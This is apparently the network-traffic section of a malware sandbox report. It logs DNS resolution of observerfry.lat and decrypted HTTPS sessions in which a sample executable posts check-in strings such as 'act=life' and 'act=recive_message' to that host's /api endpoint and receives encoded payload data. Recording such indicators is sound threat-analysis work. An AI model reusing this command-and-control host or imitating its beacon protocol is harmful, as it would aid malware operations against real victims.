Dec 24, 2024 12:39:10.354310036 CET	49711	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:10.354595900 CET	49711	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:10.354614973 CET	443	49711	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:11.568016052 CET	443	49711	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:11.568156004 CET	49711	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:11.578097105 CET	49711	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:11.578119993 CET	443	49711	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:11.578418970 CET	443	49711	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:11.579634905 CET	49711	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:11.579797983 CET	49711	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:11.579829931 CET	443	49711	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:11.579883099 CET	49711	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:11.627331018 CET	443	49711	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:12.522383928 CET	443	49711	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:12.522516966 CET	443	49711	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:12.522595882 CET	49711	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:12.522769928 CET	49711	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:12.522789001 CET	443	49711	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:12.734486103 CET	49712	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:12.734536886 CET	443	49712	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:12.734626055 CET	49712	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:12.734945059 CET	49712	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:12.734961033 CET	443	49712	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:13.946944952 CET	443	49712	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:13.947082043 CET	49712	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:13.948327065 CET	49712	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:13.948345900 CET	443	49712	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:13.948551893 CET	443	49712	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:13.949857950 CET	49712	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:13.950042963 CET	49712	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:13.950077057 CET	443	49712	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:13.950151920 CET	49712	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:13.950161934 CET	443	49712	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:14.900008917 CET	443	49712	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:14.900096893 CET	443	49712	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:14.900186062 CET	49712	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:14.900336027 CET	49712	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:14.900366068 CET	443	49712	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:15.280775070 CET	49714	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:15.280822992 CET	443	49714	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:15.280895948 CET	49714	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:15.281327963 CET	49714	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:15.281343937 CET	443	49714	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:16.492670059 CET	443	49714	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:16.492738008 CET	49714	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:16.494227886 CET	49714	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:16.494240046 CET	443	49714	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:16.494442940 CET	443	49714	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:16.495732069 CET	49714	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:16.495814085 CET	49714	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:16.495820045 CET	443	49714	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:17.296271086 CET	443	49714	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:17.296364069 CET	443	49714	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:17.296453953 CET	49714	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:17.296608925 CET	49714	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:17.296650887 CET	443	49714	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:17.747104883 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:17.747159958 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:17.747332096 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:17.747533083 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:17.747549057 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:18.961137056 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:18.961229086 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:18.966609001 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:18.966620922 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:18.966939926 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:18.986157894 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:18.998123884 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:18.998178005 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:18.999722958 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:18.999766111 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:19.002764940 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:19.002819061 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:19.003879070 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:19.003921032 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:19.004117966 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:19.004151106 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:19.006643057 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:19.006676912 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:19.006688118 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:19.006702900 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:19.006808043 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:19.006833076 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:19.006850958 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:19.008214951 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:19.008244038 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:19.051326036 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:19.052040100 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:19.052081108 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:19.052104950 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:19.052124023 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:19.052143097 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:19.052156925 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:19.052197933 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:19.052215099 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:22.724080086 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:22.724318027 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:22.724558115 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:22.724653006 CET	49720	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:22.724663973 CET	443	49720	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:22.779432058 CET	49740	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:22.779496908 CET	443	49740	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:22.779587030 CET	49740	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:22.779927969 CET	49740	443	192.168.2.6	104.21.36.201
Dec 24, 2024 12:39:22.779973030 CET	443	49740	104.21.36.201	192.168.2.6
Dec 24, 2024 12:39:23.254435062 CET	49740	443	192.168.2.6	104.21.36.201

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 12:39:03.371973038 CET	57512	53	192.168.2.6	1.1.1.1
Dec 24, 2024 12:39:03.509876966 CET	53	57512	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 12:39:03.371973038 CET	192.168.2.6	1.1.1.1	0xd162	Standard query (0)	observerfry.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 12:39:03.509876966 CET	1.1.1.1	192.168.2.6	0xd162	No error (0)	observerfry.lat		104.21.36.201	A (IP address)	IN (0x0001)	false
Dec 24, 2024 12:39:03.509876966 CET	1.1.1.1	192.168.2.6	0xd162	No error (0)	observerfry.lat		172.67.199.72	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

observerfry.lat

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49707	104.21.36.201	443	6392	C:\Users\user\Desktop\wIgjKoo9iI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:04 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: observerfry.lat
2024-12-24 11:39:04 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-24 11:39:05 UTC	1125	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kojk3b3st96cq2u6cs0g9ah9ff; expires=Sat, 19 Apr 2025 05:25:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EiGRRZxpV2baynfyxAB8IB15SBGQHEZsk7FowWKAtZ7Bw1%2F35EcgG77uEYbnwPmcMZBdoBNRaFXsDEI%2FpXLjY9Tls%2BlkbknSJYlVMkax92bUEM9ZubIlHs%2BehGCax27p7ks%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f0c883b435d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1600&rtt_var=613&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=906&delivery_rate=1767554&cwnd=128&unsent_bytes=0&cid=e109e58a7a2f5cea&ts=773&x=0"
2024-12-24 11:39:05 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-24 11:39:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49708	104.21.36.201	443	6392	C:\Users\user\Desktop\wIgjKoo9iI.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:06 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: observerfry.lat
2024-12-24 11:39:06 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-24 11:39:07 UTC	1125	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=japugq56g0cf2d3e60qcnhbf48; expires=Sat, 19 Apr 2025 05:25:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cCamTWYf2EZqPCpVJ3pUA8anQaGmBUHDxs%2BkufgcY7PgZG7%2FFE%2BKN5MY%2Fb1plOE8ziHfIMv5cTBBq7ZxNAwDRsZHTg8U7KSoz7TwBnB91Ysr4IE9uepf4LegWKm5gytavfI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f18ec9d0f88-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1693&min_rtt=1653&rtt_var=648&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=952&delivery_rate=1766485&cwnd=187&unsent_bytes=0&cid=6632be187eedd3bc&ts=778&x=0"
2024-12-24 11:39:07 UTC	244	IN	Data Raw: 34 39 31 63 0d 0a 71 4a 47 4a 78 7a 65 32 43 64 31 75 57 4c 46 6e 30 46 68 42 75 6f 49 37 7a 69 42 72 44 46 62 75 30 5a 37 31 34 6e 35 6f 66 37 2f 54 73 2f 2f 6c 44 59 49 6c 2f 78 30 39 6b 31 32 6b 4b 6a 54 66 72 68 6d 76 52 45 6b 32 4d 49 2b 39 37 5a 44 4f 58 42 34 53 6e 5a 4c 33 36 4b 74 45 30 79 58 2f 43 79 43 54 58 59 73 6a 59 39 2f 73 47 66 51 43 44 6d 59 30 6a 37 33 38 6c 49 6b 52 47 42 50 63 77 50 33 75 72 31 4c 56 62 62 77 43 4e 64 51 43 74 54 6b 72 31 4f 74 57 70 6b 31 4a 49 48 53 4c 71 37 7a 50 77 44 4d 4e 43 39 37 6c 38 50 71 73 46 63 73 6c 70 6b 77 39 33 30 58 71 65 69 44 66 34 46 65 6f 52 41 42 6b 50 6f 61 31 2f 5a 47 49 44 67 45 5a 31 38 44 7a 37 61 35 59 33 48 6d 78 43 44 4c 66 42 4c 38 35 59 35 61 67 58 72 Data Ascii: 491cqJGJxze2Cd1uWLFn0FhBuoI7ziBrDFbu0Z714n5of7/Ts//lDYIl/x09k12kKjTfrhmvREk2MI+97ZDOXB4SnZL36KtE0yX/CyCTXYsjY9/sGfQCDmY0j738lIkRGBPcwP3ur1LVbbwCNdQCtTkr1OtWpk1JIHSLq7zPwDMNC97l8PqsFcslpkw930XqeiDf4FeoRABkPoa1/ZGIDgEZ18Dz7a5Y3HmxCDLfBL85Y5agXr
2024-12-24 11:39:07 UTC	1369	IN	Data Raw: 51 43 55 53 35 6e 76 72 44 74 68 70 55 52 47 68 75 64 31 62 33 79 35 56 4c 59 4b 2b 64 4d 4d 74 38 4c 74 7a 6b 73 33 2b 46 5a 76 6b 30 4a 62 54 79 45 74 2f 61 59 6a 78 4d 45 46 39 72 43 2b 75 79 71 55 74 78 74 73 41 39 36 6e 55 57 31 49 6d 4f 41 6f 48 6d 38 51 51 70 36 4f 5a 33 7a 34 39 6d 5a 58 41 30 52 6e 5a 4b 7a 37 61 74 55 32 57 75 74 42 44 48 59 41 4b 41 78 4b 74 58 74 57 61 46 49 42 6d 30 30 69 37 6e 32 6d 49 6f 59 42 78 44 62 79 76 4f 72 36 78 58 54 63 2f 39 55 65 76 41 41 6f 6a 30 76 7a 71 4a 6a 37 46 31 48 64 33 53 4c 76 37 7a 50 77 42 51 50 48 74 37 42 2f 4f 69 74 58 73 5a 72 72 51 6f 33 31 68 65 30 50 79 33 53 34 30 75 6d 54 41 39 74 50 59 65 36 2b 5a 43 45 58 45 52 64 32 74 4b 7a 73 2b 56 30 32 57 43 7a 42 69 33 54 52 61 31 30 4f 70 6a 6e 56 Data Ascii: QCUS5nvrDthpURGhud1b3y5VLYK+dMMt8Ltzks3+FZvk0JbTyEt/aYjxMEF9rC+uyqUtxtsA96nUW1ImOAoHm8QQp6OZ3z49mZXA0RnZKz7atU2WutBDHYAKAxKtXtWaFIBm00i7n2mIoYBxDbyvOr6xXTc/9UevAAoj0vzqJj7F1Hd3SLv7zPwBQPHt7B/OitXsZrrQo31he0Py3S40umTA9tPYe6+ZCEXERd2tKzs+V02WCzBi3TRa10OpjnV
2024-12-24 11:39:07 UTC	1369	IN	Data Raw: 68 4f 59 44 7a 73 74 65 48 42 45 70 46 6e 65 44 77 2f 36 5a 66 6c 6c 36 38 41 6a 54 55 45 2f 49 6c 62 63 47 67 58 71 41 43 55 53 34 35 6a 62 76 36 68 59 38 52 43 52 50 54 78 66 62 6b 72 56 58 55 5a 72 6f 49 4d 64 67 47 76 7a 34 78 30 75 42 52 71 55 4d 44 5a 48 54 43 38 2f 75 50 77 45 52 4b 4c 4d 72 42 73 64 36 6d 57 39 70 73 71 55 77 6c 6e 52 7a 79 50 53 2b 59 75 42 6d 68 53 67 78 72 4f 34 32 35 38 70 4b 4b 45 41 49 54 33 74 6a 38 37 36 56 5a 33 47 47 79 41 6a 37 62 44 4c 6b 78 4a 64 6a 68 55 2b 77 4d 53 57 6b 73 7a 4f 75 38 6f 34 63 51 42 78 4b 66 2f 2f 44 6c 71 31 4c 43 4b 36 42 43 49 35 4d 43 76 6e 70 37 6d 4f 78 51 72 45 6b 44 61 6a 53 4c 76 76 6d 55 68 78 38 48 47 74 66 45 39 4f 2b 70 58 4e 6c 74 76 77 73 2b 31 68 65 33 4d 79 2f 55 6f 42 66 73 52 52 Data Ascii: hOYDzsteHBEpFneDw/6Zfll68AjTUE/IlbcGgXqACUS45jbv6hY8RCRPTxfbkrVXUZroIMdgGvz4x0uBRqUMDZHTC8/uPwERKLMrBsd6mW9psqUwlnRzyPS+YuBmhSgxrO4258pKKEAIT3tj876VZ3GGyAj7bDLkxJdjhU+wMSWkszOu8o4cQBxKf//Dlq1LCK6BCI5MCvnp7mOxQrEkDajSLvvmUhx8HGtfE9O+pXNltvws+1he3My/UoBfsRR
2024-12-24 11:39:07 UTC	1369	IN	Data Raw: 38 2f 75 62 77 45 52 4b 46 4e 54 59 2f 65 57 73 57 4e 4a 6a 75 41 49 33 32 41 4f 35 50 53 54 65 37 56 47 68 52 77 70 76 4d 49 61 68 2f 35 79 4b 45 51 42 64 6b 34 72 30 38 2b 55 4e 6c 45 79 7a 4a 53 72 49 46 36 52 36 50 4a 62 35 47 61 74 4f 53 54 5a 30 6a 37 7a 31 6d 49 67 55 42 52 4c 5a 78 50 58 74 71 46 44 62 59 61 30 45 4e 4e 34 4f 76 54 45 78 32 4f 31 64 6f 45 59 42 5a 54 37 4d 2f 62 79 51 6d 46 78 53 58 65 6a 48 2f 4f 75 6d 51 35 52 30 38 52 56 36 31 41 6e 79 59 6d 50 55 37 6c 6d 6a 54 67 56 6c 50 49 32 2f 38 70 43 46 46 51 49 56 7a 38 76 33 34 36 52 62 32 32 71 37 43 54 2f 58 41 72 59 38 4c 4a 69 75 47 61 74 61 53 54 5a 30 6f 35 54 4a 31 61 45 6d 53 67 4b 54 30 37 50 73 71 52 57 4d 4b 37 4d 50 4e 74 73 4b 74 44 4d 76 30 75 6c 53 6f 45 6b 4e 59 6a 32 Data Ascii: 8/ubwERKFNTY/eWsWNJjuAI32AO5PSTe7VGhRwpvMIah/5yKEQBdk4r08+UNlEyzJSrIF6R6PJb5GatOSTZ0j7z1mIgUBRLZxPXtqFDbYa0ENN4OvTEx2O1doEYBZT7M/byQmFxSXejH/OumQ5R08RV61AnyYmPU7lmjTgVlPI2/8pCFFQIVz8v346Rb22q7CT/XArY8LJiuGataSTZ0o5TJ1aEmSgKT07PsqRWMK7MPNtsKtDMv0ulSoEkNYj2
2024-12-24 11:39:07 UTC	1369	IN	Data Raw: 6f 45 61 47 42 72 55 32 50 33 6d 71 6c 33 63 59 72 34 49 50 39 34 44 76 6a 41 69 33 2b 35 58 70 41 4a 48 4c 6a 4f 55 38 36 54 58 6f 51 77 52 44 38 76 48 30 75 61 71 46 63 73 6c 70 6b 77 39 33 30 58 71 65 69 72 4b 35 46 53 2b 53 77 35 67 4f 34 2b 68 2f 5a 71 4c 44 67 30 53 32 63 33 2f 37 61 70 54 31 57 36 31 41 44 33 57 44 72 30 32 59 35 61 67 58 72 51 43 55 53 34 61 68 36 44 72 6c 49 34 58 48 41 61 64 31 62 33 79 35 56 4c 59 4b 2b 64 4d 4f 64 67 4f 74 6a 6f 76 32 4f 52 55 72 46 41 47 61 54 4f 46 75 4f 36 64 68 78 73 42 46 64 62 46 39 66 6d 70 57 38 5a 75 72 52 35 36 6e 55 57 31 49 6d 4f 41 6f 47 2b 72 55 68 6c 74 64 72 32 6c 2f 34 47 4c 45 51 5a 64 77 6f 54 71 71 36 4a 5a 6c 44 50 2f 43 6a 58 61 42 72 30 37 4b 74 54 74 58 4b 56 48 43 47 67 77 68 72 6e 38 Data Ascii: oEaGBrU2P3mql3cYr4IP94DvjAi3+5XpAJHLjOU86TXoQwRD8vH0uaqFcslpkw930XqeirK5FS+Sw5gO4+h/ZqLDg0S2c3/7apT1W61AD3WDr02Y5agXrQCUS4ah6DrlI4XHAad1b3y5VLYK+dMOdgOtjov2ORUrFAGaTOFuO6dhxsBFdbF9fmpW8ZurR56nUW1ImOAoG+rUhltdr2l/4GLEQZdwoTqq6JZlDP/CjXaBr07KtTtXKVHCGgwhrn8
2024-12-24 11:39:07 UTC	1369	IN	Data Raw: 56 54 78 49 72 30 35 2b 55 4e 6c 47 69 34 44 7a 76 5a 44 4c 34 31 4a 4e 7a 79 55 36 74 51 43 47 38 2f 67 62 2f 38 6d 6f 30 57 43 78 54 51 78 76 37 73 6f 6c 72 52 4b 2f 46 4d 50 63 74 46 36 6e 6f 43 31 65 74 56 39 78 68 4a 63 58 71 56 38 2f 75 62 77 45 52 4b 48 64 66 50 2b 65 61 6d 57 74 64 35 76 67 6f 6f 30 77 69 34 4b 43 6e 54 35 56 53 68 54 77 70 6f 4d 6f 65 2f 37 70 36 41 48 77 46 64 6b 34 72 30 38 2b 55 4e 6c 45 69 6f 47 6a 44 55 43 61 51 78 49 74 76 32 56 4c 77 43 52 79 34 6c 69 36 4b 38 7a 35 59 4d 48 52 72 43 68 4f 71 72 6f 6c 6d 55 4d 2f 38 4b 4d 39 55 43 74 44 51 78 33 65 5a 57 6f 30 73 41 61 6a 79 50 73 2f 69 54 68 78 6b 4a 45 64 62 4e 38 4f 53 68 58 4e 70 69 73 45 78 30 6b 77 4b 71 65 6e 75 59 77 55 4b 76 54 67 51 75 4b 38 4b 71 76 4a 43 4d 58 Data Ascii: VTxIr05+UNlGi4DzvZDL41JNzyU6tQCG8/gb/8mo0WCxTQxv7solrRK/FMPctF6noC1etV9xhJcXqV8/ubwERKHdfP+eamWtd5vgoo0wi4KCnT5VShTwpoMoe/7p6AHwFdk4r08+UNlEioGjDUCaQxItv2VLwCRy4li6K8z5YMHRrChOqrolmUM/8KM9UCtDQx3eZWo0sAajyPs/iThxkJEdbN8OShXNpisEx0kwKqenuYwUKvTgQuK8KqvJCMX
2024-12-24 11:39:07 UTC	1369	IN	Data Raw: 53 73 38 75 75 51 39 46 73 71 55 34 50 30 41 75 38 50 54 57 59 2f 32 62 69 41 67 5a 30 64 4e 53 4b 35 64 65 48 45 45 70 46 6e 64 2f 30 36 36 4a 50 77 6d 79 7a 48 54 48 65 43 5a 41 31 4a 4d 37 6a 56 71 39 54 41 43 49 2f 67 66 4f 79 31 34 63 45 53 6b 57 64 35 66 54 39 70 6e 72 58 65 72 5a 4d 64 4a 4d 43 70 48 70 37 6d 4e 34 5a 76 6b 45 5a 62 54 75 64 6a 62 7a 50 6d 53 4a 4b 46 73 76 4e 34 2b 69 7a 58 74 6c 6e 72 6a 4a 36 69 31 48 67 61 48 47 4b 73 6b 62 73 58 54 59 67 64 49 33 7a 70 4b 36 5a 58 42 78 64 68 5a 69 39 71 37 63 56 6a 43 76 34 44 79 6a 42 41 37 45 73 49 4a 2f 65 5a 34 74 55 41 32 6b 6b 69 36 54 7a 31 38 35 63 42 56 32 46 38 37 50 69 6f 6b 37 46 66 62 49 63 50 5a 4d 36 2f 48 6f 37 6d 4c 67 5a 6d 55 45 48 59 44 4f 61 6f 72 47 77 6c 68 59 4e 44 64 Data Ascii: Ss8uuQ9FsqU4P0Au8PTWY/2biAgZ0dNSK5deHEEpFnd/066JPwmyzHTHeCZA1JM7jVq9TACI/gfOy14cESkWd5fT9pnrXerZMdJMCpHp7mN4ZvkEZbTudjbzPmSJKFsvN4+izXtlnrjJ6i1HgaHGKskbsXTYgdI3zpK6ZXBxdhZi9q7cVjCv4DyjBA7EsIJ/eZ4tUA2kki6Tz185cBV2F87Piok7FfbIcPZM6/Ho7mLgZmUEHYDOaorGwlhYNDd
2024-12-24 11:39:07 UTC	1369	IN	Data Raw: 71 68 6e 61 59 4c 38 4c 4b 73 55 65 2f 6a 49 67 77 76 70 6e 6b 6d 6b 46 61 44 4f 57 74 50 71 78 6f 46 78 45 58 64 4b 4b 71 39 4c 6c 48 5a 52 55 38 55 77 69 6b 31 33 79 44 79 44 57 37 6c 36 36 55 30 52 47 46 37 61 4a 76 72 75 48 43 55 67 70 32 74 72 69 34 4b 68 5a 6c 43 58 2f 43 6e 71 4c 56 66 78 36 4a 38 6d 67 41 66 77 51 55 6a 74 6e 32 2b 4f 75 69 4d 34 46 53 67 75 64 6b 71 47 6c 35 55 65 55 4d 2f 39 4c 4f 63 45 58 74 44 6b 31 32 36 64 6e 6b 6d 55 48 61 54 57 61 6f 2b 75 59 76 69 49 66 48 74 50 45 39 50 32 30 46 5a 6f 72 73 45 78 69 36 6b 58 36 65 68 79 57 6f 45 48 73 47 6b 6c 62 4e 34 4b 39 2b 34 47 52 55 53 30 54 32 73 76 6c 2b 37 4a 61 6c 43 58 2f 43 6e 71 4c 56 2f 78 36 4a 38 6d 67 41 66 77 51 55 6a 74 6e 32 2b 4f 75 69 4d 34 46 53 67 75 64 6b 71 47 Data Ascii: qhnaYL8LKsUe/jIgwvpnkmkFaDOWtPqxoFxEXdKKq9LlHZRU8Uwik13yDyDW7l66U0RGF7aJvruHCUgp2tri4KhZlCX/CnqLVfx6J8mgAfwQUjtn2+OuiM4FSgudkqGl5UeUM/9LOcEXtDk126dnkmUHaTWao+uYviIfHtPE9P20FZorsExi6kX6ehyWoEHsGklbN4K9+4GRUS0T2svl+7JalCX/CnqLV/x6J8mgAfwQUjtn2+OuiM4FSgudkqG
2024-12-24 11:39:07 UTC	1369	IN	Data Raw: 79 6d 66 43 79 7a 51 52 66 78 36 4c 35 69 34 47 61 31 49 47 57 4d 37 69 2f 2f 37 6a 59 64 63 52 46 33 54 69 71 75 72 70 46 2f 45 5a 72 41 4c 64 74 55 4c 76 48 6f 38 6c 76 6b 5a 75 67 4a 52 50 58 72 4d 6f 62 7a 50 77 46 73 4a 44 38 2f 4d 38 50 32 6d 45 75 70 56 6b 68 34 39 77 77 62 77 43 79 37 63 39 6b 79 76 55 67 35 51 43 71 47 68 2b 34 65 44 58 6a 73 4c 33 73 72 39 37 4f 55 62 6c 48 50 2f 56 48 72 2b 46 37 55 71 49 4a 69 75 47 61 41 43 55 53 34 35 6e 72 54 73 6c 4d 77 62 45 42 71 64 31 62 33 79 35 55 4f 55 4d 2b 78 43 65 73 46 46 36 6e 70 6b 31 75 31 59 72 30 77 4b 66 43 61 4b 73 4f 71 55 78 79 49 30 4d 4d 2f 4e 34 2b 6a 6e 5a 4e 6c 76 71 52 6b 35 77 77 4b 4d 42 41 37 4b 35 30 6d 76 41 43 56 70 4f 59 43 4e 77 71 43 52 47 78 70 66 2b 38 6e 6c 36 4f 55 62 Data Ascii: 